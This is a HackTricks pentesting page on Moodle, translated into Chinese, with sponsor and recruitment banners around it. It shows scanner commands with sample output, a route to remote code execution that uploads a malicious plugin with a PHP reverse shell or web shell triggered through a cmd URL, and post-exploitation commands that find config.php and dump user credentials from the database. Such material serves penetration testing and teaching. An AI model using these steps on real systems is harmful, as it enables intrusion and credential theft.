hacktricks/network-services-pentesting/pentesting-web/moodle.md

132 lines
6.9 KiB
Markdown
Raw Normal View History

2022-05-24 00:07:19 +00:00
# Moodle
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* 如果您在**网络安全公司**工作?您想在**HackTricks中看到您的公司广告**?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter上**[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**关注我**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
如果您对**黑客职业**感兴趣,并且想要黑掉不可黑的 - **我们正在招聘!**_需要流利的波兰语书写和口语_
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
## 自动扫描
2021-04-05 22:03:17 +00:00
2022-05-24 00:07:19 +00:00
### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
2023-08-03 19:12:22 +00:00
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
2023-08-03 19:12:22 +00:00
3.10.0-beta
[+] Possible interesting urls found:
2023-08-03 19:12:22 +00:00
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
2022-05-24 00:07:19 +00:00
### moodlescan
(Translation not required for the title as per instructions)
2023-08-03 19:12:22 +00:00
moodlescan 是一个针对 Moodle 平台的自动化扫描工具。它可以帮助您发现潜在的安全漏洞和配置错误。
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
2023-08-03 19:12:22 +00:00
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
2022-05-24 00:07:19 +00:00
### CMSMap
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
2022-05-24 00:07:19 +00:00
### CVEs
我发现自动工具在**发现影响moodle版本的漏洞**方面几乎**无用**。你可以在[**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)上**检查**它们。
## **RCE**
你需要拥有**管理员**角色,并且可以在**"网站管理"**标签下**安装插件**
![](<../../.gitbook/assets/image (447).png>)
如果你是管理员,你可能仍需要**激活这个选项**。你可以在moodle权限提升PoC中看到如何操作[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
然后,你可以**安装以下插件**它包含了经典的pentest-monkey php r**ev shell**_在上传之前你需要解压它更改revshell的IP和端口然后再次压缩它_
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
或者你可以使用来自[https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE)的插件来获取带有"cmd"参数的常规PHP shell。
要访问并启动恶意插件,你需要访问:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
2022-05-24 00:07:19 +00:00
## POST
### 查找数据库凭证
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### 从数据库中导出凭证
2021-04-05 22:03:17 +00:00
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-04-28 16:01:33 +00:00
如果您对**黑客职业**感兴趣,并且想要黑进那些不可黑的系统 - **我们正在招聘!**_需要流利的波兰语书写和口语_
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要获得**PEASS最新版本**或**下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>